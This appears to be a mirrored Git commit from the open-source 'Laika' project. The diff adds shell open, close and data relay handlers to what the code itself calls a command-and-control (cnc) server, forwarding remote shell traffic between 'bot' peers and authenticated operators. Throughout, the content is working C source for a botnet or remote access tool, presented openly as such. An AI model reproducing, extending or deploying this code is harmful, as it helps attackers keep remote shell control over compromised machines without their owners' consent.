mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 15:20:07 +00:00
Added 'shell' command to LaikaShell
- another major refactoring
This commit is contained in:
@@ -8,6 +8,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
#endif
|
@@ -60,19 +60,31 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
struct sLaika_cnc *cnc = bInfo->info.cnc;
|
||||
uint8_t _res = laikaS_readByte(&peer->sock);
|
||||
|
||||
|
||||
if (bInfo->shellAuth == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!");
|
||||
|
||||
/* forward to SHELL_CLOSE to auth */
|
||||
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
|
||||
|
||||
/* close shell */
|
||||
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
|
||||
bInfo->shellAuth = NULL;
|
||||
}
|
||||
|
||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
|
||||
uint8_t id;
|
||||
|
||||
if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!");
|
||||
|
||||
id = laikaS_readByte(&peer->sock);
|
||||
laikaS_read(&peer->sock, (void*)buf, sz-1);
|
||||
write(STDOUT_FILENO, (void*)buf, sz-1);
|
||||
laikaS_read(&peer->sock, (void*)buf, sz);
|
||||
|
||||
/* forward SHELL_DATA packet to auth */
|
||||
laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_DATA);
|
||||
laikaS_write(&bInfo->shellAuth->sock, buf, sz);
|
||||
laikaS_endVarPacket(bInfo->shellAuth);
|
||||
}
|
||||
|
||||
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
@@ -147,9 +159,17 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
|
||||
struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
|
||||
DEFAULT_PKT_TBL,
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
|
||||
laikaC_handleAuthenticatedHandshake,
|
||||
laikaC_handleAuthenticatedShellOpen,
|
||||
crypto_kx_PUBLICKEYBYTES,
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
|
||||
laikaC_handleAuthenticatedShellClose,
|
||||
0,
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
|
||||
laikaC_handleAuthenticatedShellData,
|
||||
0,
|
||||
true),
|
||||
};
|
||||
|
||||
#undef DEFAULT_PKT_TBL
|
||||
|
@@ -87,6 +87,22 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
|
||||
}
|
||||
|
||||
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
||||
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
||||
|
||||
/* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */
|
||||
if (aInfo->shellBot == NULL)
|
||||
return;
|
||||
|
||||
/* forward to SHELL_CLOSE to auth */
|
||||
laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* close shell */
|
||||
((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
|
||||
aInfo->shellBot = NULL;
|
||||
}
|
||||
|
||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
||||
|
Reference in New Issue
Block a user